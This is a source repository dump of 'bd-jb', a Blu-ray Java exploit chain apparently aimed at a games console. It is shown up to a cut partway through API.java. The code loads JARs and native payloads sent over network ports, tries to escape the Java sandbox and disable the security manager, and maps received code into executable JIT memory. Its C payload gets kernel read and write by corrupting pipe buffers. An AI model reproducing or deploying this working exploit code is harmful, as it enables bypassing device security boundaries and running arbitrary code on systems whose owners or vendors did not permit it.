Repository: TheOfficialFloW/bd-jb
Branch: master
Commit: 8a31b642375f
Files: 56
Total size: 80.2 KB
Directory structure:
gitextract_yhm9exo6/
├── .gitignore
├── .gitmodules
├── LICENSE
├── Makefile
├── README.md
├── bdmv/
│ ├── MovieObject.xml
│ ├── bdjo.xml
│ ├── id.xml
│ └── index.xml
├── disc/
│ ├── BDMV/
│ │ ├── AUXDATA/
│ │ │ ├── 00000.otf
│ │ │ └── UFL.txt
│ │ └── META/
│ │ └── DL/
│ │ └── bdmt_eng.xml
│ └── CERTIFICATE/
│ ├── app.discroot.crt
│ └── bu.discroot.crt
├── keystore.store
├── payload/
│ ├── Makefile
│ ├── kernel.c
│ ├── kernel.h
│ ├── linker.ld
│ ├── payload.c
│ ├── payload.h
│ ├── resolve.c
│ ├── resolve.h
│ ├── start.S
│ └── stubs.S
└── src/
├── com/
│ └── bdjb/
│ ├── Exploit.java
│ ├── Loader.java
│ ├── LoaderXlet.java
│ ├── Payload.java
│ ├── Screen.java
│ ├── api/
│ │ ├── API.java
│ │ ├── Buffer.java
│ │ ├── Int16.java
│ │ ├── Int16Array.java
│ │ ├── Int32.java
│ │ ├── Int32Array.java
│ │ ├── Int64.java
│ │ ├── Int64Array.java
│ │ ├── Int8.java
│ │ ├── Int8Array.java
│ │ ├── KernelAPI.java
│ │ ├── Text.java
│ │ ├── UnsafeInterface.java
│ │ ├── UnsafeJdkImpl.java
│ │ └── UnsafeSunImpl.java
│ ├── bluray.LoaderXlet.perm
│ └── exploit/
│ ├── kernel/
│ │ └── ExploitKernelInterface.java
│ └── sandbox/
│ ├── ExploitDefaultImpl.java
│ ├── ExploitSandboxInterface.java
│ ├── ExploitServiceProxyImpl.java
│ ├── IxcProxyImpl.java
│ ├── Payload.java
│ ├── ProviderAccessorImpl.java
│ ├── ServiceImpl.java
│ └── ServiceInterface.java
└── jdk/
└── internal/
└── misc/
└── Unsafe.java
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
.idea/
build/
tools/
lib/
disc/CERTIFICATE/id.bdmv
disc/BDMV/index.bdmv
disc/BDMV/MovieObject.bdmv
disc/BDMV/JAR/00000.jar
disc/BDMV/BDJO/00000.bdjo
META-INF/
bd-jb.iml
================================================
FILE: .gitmodules
================================================
[submodule "payload/sdk"]
path = payload/sdk
url = https://github.com/PS5Dev/PS5SDK
================================================
FILE: LICENSE
================================================
The MIT License (MIT)
Copyright (C) 2021-2024 Andy Nguyen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: Makefile
================================================
BUILD = build
BDMV = bdmv
DISC = disc
LIB = lib
SRC = src
TOOLS = tools
LOADER_CLASSES = \
$(SRC)/com/bdjb/LoaderXlet.java \
$(SRC)/com/bdjb/Loader.java \
$(SRC)/com/bdjb/Screen.java \
EXPLOIT_CLASSES = \
$(SRC)/com/bdjb/Exploit.java \
$(SRC)/com/bdjb/Screen.java \
$(SRC)/com/bdjb/Payload.java \
$(SRC)/com/bdjb/api/API.java \
$(SRC)/com/bdjb/api/KernelAPI.java \
$(SRC)/com/bdjb/api/Buffer.java \
$(SRC)/com/bdjb/api/Text.java \
$(SRC)/com/bdjb/api/Int8.java \
$(SRC)/com/bdjb/api/Int8Array.java \
$(SRC)/com/bdjb/api/Int16.java \
$(SRC)/com/bdjb/api/Int16Array.java \
$(SRC)/com/bdjb/api/Int32.java \
$(SRC)/com/bdjb/api/Int32Array.java \
$(SRC)/com/bdjb/api/Int64.java \
$(SRC)/com/bdjb/api/Int64Array.java \
$(SRC)/com/bdjb/api/UnsafeInterface.java \
$(SRC)/com/bdjb/api/UnsafeJdkImpl.java \
$(SRC)/com/bdjb/api/UnsafeSunImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/IxcProxyImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ServiceInterface.java \
$(SRC)/com/bdjb/exploit/sandbox/ServiceImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ProviderAccessorImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/Payload.java \
$(SRC)/com/bdjb/exploit/kernel/ExploitKernelInterface.java \
JFLAGS = -Xlint:all -Xlint:-options -source 1.4 -target 1.4 -bootclasspath "$(LIB)/rt.jar:$(LIB)/bdjstack.jar"
all: loader exploit
loader: build_directory loader_classes loader_jar loader_bdjo_bdmv
exploit: build_directory exploit_classes exploit_jar
build_directory:
mkdir -p $(BUILD)
loader_classes:
javac -d $(BUILD) -sourcepath $(SRC) $(JFLAGS) $(LOADER_CLASSES)
exploit_classes:
javac -d $(BUILD) -sourcepath $(SRC) $(JFLAGS) $(EXPLOIT_CLASSES)
loader_jar:
mkdir -p $(DISC)/BDMV/JAR
cp $(SRC)/com/bdjb/bluray.LoaderXlet.perm $(BUILD)/com/bdjb/bluray.LoaderXlet.perm
cd $(BUILD) && jar cf ../$(DISC)/BDMV/JAR/00000.jar . && cd ..
java -cp "$(TOOLS)/security.jar:$(TOOLS)/bcprov-jdk15-137.jar:$(TOOLS)/tools.jar" net.java.bd.tools.security.BDSigner $(DISC)/BDMV/JAR/00000.jar
exploit_jar:
rm -rf $(BUILD)/jdk
cd $(BUILD) && jar cf 00000.jar . && cd ..
loader_bdjo_bdmv:
mkdir -p $(DISC)/BDMV/BDJO
java -jar $(TOOLS)/bdjo.jar $(BDMV)/bdjo.xml $(DISC)/BDMV/BDJO/00000.bdjo
java -jar $(TOOLS)/MovieObject.jar $(BDMV)/MovieObject.xml $(DISC)/BDMV/MovieObject.bdmv
java -jar $(TOOLS)/index.jar $(BDMV)/index.xml $(DISC)/BDMV/index.bdmv
java -jar $(TOOLS)/id.jar $(BDMV)/id.xml $(DISC)/CERTIFICATE/id.bdmv
clean:
rm -rf build
rm -rf META-INF
================================================
FILE: README.md
================================================
# bd-jb
The first bd-j hack.
# Prerequisites
- bd-j tools from https://github.com/zathras/java.net
================================================
FILE: bdmv/MovieObject.xml
================================================
0200
21810000 00000001 00000000
false
false
false
21810000 00000001 00000000
false
false
false
0
0
================================================
FILE: bdmv/bdjo.xml
================================================
*.*
00000
1
00000
TITLE_BOUND_DISC_BOUND
0x0
com.bdjb.LoaderXlet
128
1
0
0
1
V_01
0x4000
0x1
0x56789abc
0x1
.
0x0
false
false
00000
HD_1920_1080
false
false
V_0200
================================================
FILE: bdmv/id.xml
================================================
0x00000000000000000000000000000001
0x56789abc
0200
================================================
FILE: bdmv/index.xml
================================================
0x0
HDMVPlayback_MOVIE
0x1
HDMVPlayback_INTERACTIVE
00000
BDJPlayback_MOVIE
V_00
0
0
0
0200
================================================
FILE: disc/BDMV/AUXDATA/UFL.txt
================================================
-------------------------------
UBUNTU FONT LICENCE Version 1.0
-------------------------------
PREAMBLE
This licence allows the licensed fonts to be used, studied, modified and
redistributed freely. The fonts, including any derivative works, can be
bundled, embedded, and redistributed provided the terms of this licence
are met. The fonts and derivatives, however, cannot be released under
any other licence. The requirement for fonts to remain under this
licence does not require any document created using the fonts or their
derivatives to be published under this licence, as long as the primary
purpose of the document is not to be a vehicle for the distribution of
the fonts.
DEFINITIONS
"Font Software" refers to the set of files released by the Copyright
Holder(s) under this licence and clearly marked as such. This may
include source files, build scripts and documentation.
"Original Version" refers to the collection of Font Software components
as received under this licence.
"Modified Version" refers to any derivative made by adding to, deleting,
or substituting -- in part or in whole -- any of the components of the
Original Version, by changing formats or by porting the Font Software to
a new environment.
"Copyright Holder(s)" refers to all individuals and companies who have a
copyright ownership of the Font Software.
"Substantially Changed" refers to Modified Versions which can be easily
identified as dissimilar to the Font Software by users of the Font
Software comparing the Original Version with the Modified Version.
To "Propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification and with or without charging
a redistribution fee), making available to the public, and in some
countries other activities as well.
PERMISSION & CONDITIONS
This licence does not grant any rights under trademark law and all such
rights are reserved.
Permission is hereby granted, free of charge, to any person obtaining a
copy of the Font Software, to propagate the Font Software, subject to
the below conditions:
1) Each copy of the Font Software must contain the above copyright
notice and this licence. These can be included either as stand-alone
text files, human-readable headers or in the appropriate machine-
readable metadata fields within text or binary files as long as those
fields can be easily viewed by the user.
2) The font name complies with the following:
(a) The Original Version must retain its name, unmodified.
(b) Modified Versions which are Substantially Changed must be renamed to
avoid use of the name of the Original Version or similar names entirely.
(c) Modified Versions which are not Substantially Changed must be
renamed to both (i) retain the name of the Original Version and (ii) add
additional naming elements to distinguish the Modified Version from the
Original Version. The name of such Modified Versions must be the name of
the Original Version, with "derivative X" where X represents the name of
the new work, appended to that name.
3) The name(s) of the Copyright Holder(s) and any contributor to the
Font Software shall not be used to promote, endorse or advertise any
Modified Version, except (i) as required by this licence, (ii) to
acknowledge the contribution(s) of the Copyright Holder(s) or (iii) with
their explicit written permission.
4) The Font Software, modified or unmodified, in part or in whole, must
be distributed entirely under this licence, and must not be distributed
under any other licence. The requirement for fonts to remain under this
licence does not affect any document created using the Font Software,
except any version of the Font Software extracted from a document
created using the Font Software may only be distributed under this
licence.
TERMINATION
This licence becomes null and void if any of the above conditions are
not met.
DISCLAIMER
THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF
COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER
DEALINGS IN THE FONT SOFTWARE.
================================================
FILE: disc/BDMV/META/DL/bdmt_eng.xml
================================================
bd-jb
1
1
bd-jb
eng
================================================
FILE: payload/Makefile
================================================
TARGET = payload
OBJS = start.o stubs.o payload.o resolve.o kernel.o
CC = gcc
OBJCOPY = objcopy
CFLAGS = -isystem sdk/include -Wl,--build-id=none -Os -Wno-builtin-declaration-mismatch -fno-stack-protector -fcf-protection=none -fpic -fpie
LDFLAGS = -T linker.ld -nostartfiles -nostdlib
all: $(TARGET).bin
%.bin: %.elf
$(OBJCOPY) -S -O binary $^ $@
$(TARGET).elf: $(OBJS)
$(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS)
clean:
@rm -f $(TARGET).bin $(TARGET).elf $(OBJS)
================================================
FILE: payload/kernel.c
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#include
#include
#include
#include "payload.h"
#define PAGE_SIZE 0x4000
struct pipebuf {
uint32_t cnt;
uint32_t in;
uint32_t out;
uint32_t size;
uintptr_t buffer;
};
static int corrupt_pipebuf(uint32_t cnt, uint32_t in, uint32_t out,
uint32_t size, uintptr_t buffer) {
struct pipebuf buf = {};
buf.cnt = cnt;
buf.in = in;
buf.out = out;
buf.size = size;
buf.buffer = buffer;
write(payload_args->master_pipe_fd[1], &buf, sizeof(buf));
return read(payload_args->master_pipe_fd[0], &buf, sizeof(buf));
}
int kread(void *dest, uintptr_t src, size_t n) {
corrupt_pipebuf(n, 0, 0, PAGE_SIZE, src);
return read(payload_args->victim_pipe_fd[0], dest, n);
}
int kwrite(uintptr_t dest, const void *src, size_t n) {
corrupt_pipebuf(0, 0, 0, PAGE_SIZE, dest);
return write(payload_args->victim_pipe_fd[1], src, n);
}
uint8_t kread8(uintptr_t addr) {
uint8_t val = 0;
kread(&val, addr, sizeof(val));
return val;
}
uint16_t kread16(uintptr_t addr) {
uint16_t val = 0;
kread(&val, addr, sizeof(val));
return val;
}
uint32_t kread32(uintptr_t addr) {
uint32_t val = 0;
kread(&val, addr, sizeof(val));
return val;
}
uint64_t kread64(uintptr_t addr) {
uint64_t val = 0;
kread(&val, addr, sizeof(val));
return val;
}
void kwrite8(uintptr_t addr, uint8_t val) { kwrite(addr, &val, sizeof(val)); }
void kwrite16(uintptr_t addr, uint16_t val) { kwrite(addr, &val, sizeof(val)); }
void kwrite32(uintptr_t addr, uint32_t val) { kwrite(addr, &val, sizeof(val)); }
void kwrite64(uintptr_t addr, uint64_t val) { kwrite(addr, &val, sizeof(val)); }
================================================
FILE: payload/kernel.h
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#ifndef __KERNEL_H__
#define __KERNEL_H__
int kread(void *dest, uintptr_t src, size_t n);
uint8_t kread8(uintptr_t addr);
uint16_t kread16(uintptr_t addr);
uint32_t kread32(uintptr_t addr);
uint64_t kread64(uintptr_t addr);
int kwrite(uintptr_t dest, const void *src, size_t n);
void kwrite8(uintptr_t addr, uint8_t val);
void kwrite16(uintptr_t addr, uint16_t val);
void kwrite32(uintptr_t addr, uint32_t val);
void kwrite64(uintptr_t addr, uint64_t val);
#endif
================================================
FILE: payload/linker.ld
================================================
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
PHDRS
{
text PT_LOAD ;
rodata PT_LOAD ;
data PT_LOAD ;
bss PT_LOAD ;
}
SECTIONS
{
.text : { *(.text) } :text
.rodata : { *(.rodata) *(.rodata.*) } :rodata
.data : { *(.data) } :data
.bss : { *(.bss) *(COMMON) } :bss
.shstrtab : { *(.shstrtab) }
/DISCARD/ : { *(*) }
}
================================================
FILE: payload/payload.c
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "kernel.h"
#include "payload.h"
#include "resolve.h"
#define LOG_IP "192.168.1.53"
#define LOG_PORT 1337
int inet_pton(int, const char *__restrict, void *__restrict);
PayloadArgs *payload_args;
static int old_stdout = -1;
static int log_sock = -1;
static int init_log(void) {
int ret;
log_sock = socket(AF_INET, SOCK_STREAM, 0);
if (log_sock < 0)
return log_sock;
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(LOG_PORT);
ret = inet_pton(AF_INET, LOG_IP, &sin.sin_addr);
if (ret < 0) {
close(log_sock);
return ret;
}
ret = connect(log_sock, (struct sockaddr *)&sin, sizeof(sin));
if (ret < 0) {
close(log_sock);
return ret;
}
// Redirect stdout.
old_stdout = dup(1);
dup2(log_sock, 1);
return 0;
}
static void shutdown_log(void) {
dup2(old_stdout, 1);
close(old_stdout);
close(log_sock);
}
int payload(PayloadArgs *args) {
int ret;
payload_args = args;
resolve_imports(args->dlsym);
ret = init_log();
if (ret < 0)
return errno;
printf("[+] Payload entered\n");
shutdown_log();
return 0;
}
================================================
FILE: payload/payload.h
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#ifndef __PAYLOAD_H__
#define __PAYLOAD_H__
typedef struct {
void *dlsym;
uint64_t kaslr_offset;
int *master_pipe_fd;
int *victim_pipe_fd;
} PayloadArgs;
extern PayloadArgs *payload_args;
#endif
================================================
FILE: payload/resolve.c
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#include
#include "resolve.h"
void resolve_imports(void *(*dlsym)(SceKernelModule handle,
const char *symbol)) {
#define LIBKERNEL_RESOLVE(name) \
extern void *name; \
*(uintptr_t *)((uintptr_t)&name + 0x6) = \
(uintptr_t)dlsym(LIBKERNEL_MODULE_HANDLE, #name)
LIBKERNEL_RESOLVE(__error);
LIBKERNEL_RESOLVE(close);
LIBKERNEL_RESOLVE(connect);
LIBKERNEL_RESOLVE(dup);
LIBKERNEL_RESOLVE(dup2);
LIBKERNEL_RESOLVE(inet_pton);
LIBKERNEL_RESOLVE(read);
LIBKERNEL_RESOLVE(socket);
LIBKERNEL_RESOLVE(write);
#undef LIBKERNEL_RESOLVE
#define LIBC_RESOLVE(name) \
extern void *name; \
*(uintptr_t *)((uintptr_t)&name + 0x6) = \
(uintptr_t)dlsym(LIBC_MODULE_HANDLE, #name)
LIBC_RESOLVE(printf);
LIBC_RESOLVE(putchar);
LIBC_RESOLVE(puts);
LIBC_RESOLVE(vsnprintf);
#undef LIBC_RESOLVE
}
================================================
FILE: payload/resolve.h
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#ifndef __RESOLVE_H__
#define __RESOLVE_H__
#define LIBC_MODULE_HANDLE 0x2
#define LIBKERNEL_MODULE_HANDLE 0x2001
typedef int32_t SceKernelModule;
void resolve_imports(void *(*dlsym)(SceKernelModule handle,
const char *symbol));
#endif
================================================
FILE: payload/start.S
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
.intel_syntax noprefix
.section .text
.global _start
_start:
jmp payload
================================================
FILE: payload/stubs.S
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
.intel_syntax noprefix
.section .text
.macro stub
jmp qword [rip-8]
.skip 8
.endm
// libkernel
.global __error
__error: stub
.global close
close: stub
.global connect
connect: stub
.global dup
dup: stub
.global dup2
dup2: stub
.global inet_pton
inet_pton: stub
.global read
read: stub
.global socket
socket: stub
.global write
write: stub
// libc
.global printf
printf: stub
.global putchar
putchar: stub
.global puts
puts: stub
.global vsnprintf
vsnprintf: stub
================================================
FILE: src/com/bdjb/Exploit.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import com.bdjb.exploit.kernel.ExploitKernelInterface;
import com.bdjb.exploit.sandbox.ExploitDefaultImpl;
import com.bdjb.exploit.sandbox.ExploitSandboxInterface;
import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
public class Exploit {
private static final int PAYLOAD_PORT = 9021;
public static void main(Method screenPrintln) {
Screen.setRemotePrintln(screenPrintln);
Screen.println("[*] Escaping Java Sandbox...");
Class[] sandboxExploits = new Class[] {ExploitDefaultImpl.class, ExploitServiceProxyImpl.class};
for (int i = 0; i < sandboxExploits.length; i++) {
try {
ExploitSandboxInterface exploit =
(ExploitSandboxInterface) sandboxExploits[i].newInstance();
if (exploit.trigger()) {
break;
}
} catch (Exception e) {
continue;
}
}
if (System.getSecurityManager() != null) {
Screen.println("[-] Error could not disable security manager.");
return;
}
Screen.println("[*] Exploiting kernel...");
Class[] kernelExploits = new Class[] {};
for (int i = 0; i < kernelExploits.length; i++) {
try {
ExploitKernelInterface exploit = (ExploitKernelInterface) kernelExploits[i].newInstance();
if (exploit.trigger()) {
break;
}
} catch (Exception e) {
continue;
}
}
while (true) {
try {
Screen.println("[*] Listening for payload on port " + PAYLOAD_PORT + "...");
ServerSocket serverSocket = new ServerSocket(PAYLOAD_PORT);
Socket socket = serverSocket.accept();
InputStream inputStream = socket.getInputStream();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buf = new byte[8192];
int total = 0;
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
total += read;
}
inputStream.close();
socket.close();
serverSocket.close();
Screen.println("[+] Received " + total + " bytes");
Screen.println("[*] Launching payload...");
Payload payload = new Payload(outputStream.toByteArray());
int ret = payload.execute();
Screen.println("[*] Payload exited: " + Integer.toHexString(ret));
} catch (Exception e) {
Screen.println("[-] Error: " + e.getMessage());
}
}
}
}
================================================
FILE: src/com/bdjb/Loader.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.lang.reflect.Method;
import javax.tv.xlet.XletContext;
import org.dvb.lang.DVBClassLoader;
class Loader implements Runnable {
private static final String EXPLOIT_CLASS_NAME = "com.bdjb.Exploit";
private static final String MAIN_METHOD_NAME = "main";
private static final String PRINTLN_METHOD_NAME = "println";
private static final int JAR_PORT = 9025;
private final XletContext context;
Loader(XletContext context) {
this.context = context;
}
static void startLoader(XletContext context) {
new Thread(new Loader(context)).start();
}
public void run() {
Screen.println("[+] bd-jb by theflow");
while (true) {
try {
Screen.println("[*] Listening for JAR on port " + JAR_PORT + "...");
String jarFile =
System.getProperty("dvb.persistent.root")
+ File.separator
+ context.getXletProperty("dvb.org.id")
+ File.separator
+ "00000.jar";
ServerSocket serverSocket = new ServerSocket(JAR_PORT);
Socket socket = serverSocket.accept();
InputStream inputStream = socket.getInputStream();
OutputStream outputStream = new FileOutputStream(jarFile);
byte[] buf = new byte[8192];
int total = 0;
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
total += read;
}
outputStream.close();
inputStream.close();
socket.close();
serverSocket.close();
Screen.println("[+] Received " + total + " bytes");
Screen.println("[+] Launching JAR...");
DVBClassLoader dvbClassLoader =
DVBClassLoader.newInstance(new URL[] {new URL("file://" + jarFile)});
Class exploitClass = dvbClassLoader.loadClass(EXPLOIT_CLASS_NAME);
Method exploitMain = exploitClass.getMethod(MAIN_METHOD_NAME, new Class[] {Method.class});
Method screenPrintln =
Screen.class.getMethod(PRINTLN_METHOD_NAME, new Class[] {String.class});
exploitMain.invoke(null, new Object[] {screenPrintln});
Screen.println("[+] JAR exited");
} catch (Exception e) {
Screen.println("[-] Error: " + e.getMessage());
}
}
}
}
================================================
FILE: src/com/bdjb/LoaderXlet.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.awt.BorderLayout;
import javax.tv.xlet.Xlet;
import javax.tv.xlet.XletContext;
import org.havi.ui.HScene;
import org.havi.ui.HSceneFactory;
public class LoaderXlet implements Xlet {
private XletContext context;
private HScene scene;
private Screen screen;
public void initXlet(XletContext context) {
this.context = context;
screen = Screen.getInstance();
screen.setSize(1920, 1080); // BD screen size
scene = HSceneFactory.getInstance().getDefaultHScene();
scene.add(screen, BorderLayout.CENTER);
scene.validate();
}
public void startXlet() {
screen.setVisible(true);
scene.setVisible(true);
Loader.startLoader(context);
}
public void pauseXlet() {
screen.setVisible(false);
}
public void destroyXlet(boolean unconditional) {
scene.remove(screen);
scene = null;
}
}
================================================
FILE: src/com/bdjb/Payload.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import com.bdjb.api.API;
import com.bdjb.api.Buffer;
import com.bdjb.api.KernelAPI;
import com.bdjb.api.Int32;
import com.bdjb.api.Text;
public class Payload {
private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL =
"sceKernelJitCreateSharedMemory";
private static final String MMAP_SYMBOL = "mmap";
private static final String MUNMAP_SYMBOL = "munmap";
private static final String CLOSE_SYMBOL = "close";
private static final String DLSYM_SYMBOL = "dlsym";
private static final int LIBPROSPERO_WRAPPER_MODULE_HANDLE = 0x3D;
private static final int PROT_READ = 0x1;
private static final int PROT_WRITE = 0x2;
private static final int PROT_EXEC = 0x4;
private static final int MAP_SHARED = 0x1;
private static final long MAP_FAILED = -1;
private static final int ALIGNMENT = 0x100000;
private static final API api;
private static final KernelAPI kapi = KernelAPI.getInstance();
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
private final long sceKernelJitCreateSharedMemory;
private final long mmap;
private final long munmap;
private final long close;
private final byte[] payload;
public Payload(byte[] payload) {
sceKernelJitCreateSharedMemory =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL);
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
munmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MUNMAP_SYMBOL);
close = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CLOSE_SYMBOL);
if (sceKernelJitCreateSharedMemory == 0 || mmap == 0 || munmap == 0 || close == 0) {
throw new InternalError("symbols not found");
}
this.payload = payload;
}
private int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) {
return (int)
api.call(
sceKernelJitCreateSharedMemory,
name.address(),
len,
maxProt,
fdOut != null ? fdOut.address() : 0);
}
private long mmap(long addr, long len, int prot, int flags, int fd, long offset) {
return api.call(mmap, addr, len, prot, flags, fd, offset);
}
private int munmap(long addr, long len) {
return (int) api.call(munmap, addr, len);
}
private int close(int fd) {
return (int) api.call(close, fd);
}
private long align(long x, long align) {
return (x + align - 1) & -align;
}
public int execute() {
long alignedSize = align(payload.length, ALIGNMENT);
Int32 handle = new Int32();
// Create JIT handle.
if (sceKernelJitCreateSharedMemory(
new Text("payload"), alignedSize, PROT_READ | PROT_WRITE | PROT_EXEC, handle)
!= 0) {
throw new InternalError("sceKernelJitCreateSharedMemory failed");
}
// Map payload.
long rwx =
mmap(0, alignedSize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, handle.get(), 0);
if (rwx == MAP_FAILED) {
throw new InternalError("mmap failed");
}
// Copy in payload.
api.memcpy(rwx, payload, payload.length);
// Close JIT handle.
close(handle.get());
// Prepare arguments.
Buffer args = new Buffer(0x20);
args.putLong(0x00, api.dlsym(LIBPROSPERO_WRAPPER_MODULE_HANDLE, DLSYM_SYMBOL));
args.putLong(0x08, kapi.getKaslrOffset());
args.putLong(0x10, kapi.getMasterPipeFd().address());
args.putLong(0x18, kapi.getVictimPipeFd().address());
// Execute payload.
int ret = (int) api.call(rwx, args.address());
// Unmap payload.
munmap(rwx, alignedSize);
return ret;
}
}
================================================
FILE: src/com/bdjb/Screen.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.awt.Color;
import java.awt.Container;
import java.awt.Font;
import java.awt.Graphics;
import java.lang.reflect.Method;
public class Screen extends Container {
private static final long serialVersionUID = 0x4141414141414141L;
private static final int MAX_LINES = 32;
private static final Font FONT = new Font(null, Font.PLAIN, 32);
private static final String[] lines = new String[MAX_LINES];
private static final Screen instance = new Screen();
private static Method remoteScreenPrintln = null;
private static int currentLine = 0;
public static Screen getInstance() {
return instance;
}
public static void setRemotePrintln(Method screenPrintln) {
remoteScreenPrintln = screenPrintln;
}
public static synchronized void println(String msg) {
if (remoteScreenPrintln != null) {
try {
remoteScreenPrintln.invoke(null, new Object[] {msg});
} catch (Exception e) {
// Ignore.
}
} else {
lines[currentLine] = msg;
currentLine = (currentLine + 1) % MAX_LINES;
instance.repaint();
}
}
public void paint(Graphics g) {
g.setFont(FONT);
g.setColor(Color.WHITE);
g.clearRect(0, 0, getWidth(), getHeight());
int x = 64;
int y = 64;
int height = g.getFontMetrics().getHeight();
for (int i = 0; i < lines.length; i++) {
g.drawString(lines[i], x, y + i * height);
}
}
}
================================================
FILE: src/com/bdjb/api/API.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
/** API class to access native data and execute native code. */
public final class API {
public static final int RTLD_DEFAULT = -2;
public static final int LIBC_MODULE_HANDLE = 0x2;
public static final int LIBKERNEL_MODULE_HANDLE = 0x2001;
public static final int LIBJAVA_MODULE_HANDLE = 0x4A;
private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING =
"Unsupported dlopen() operation";
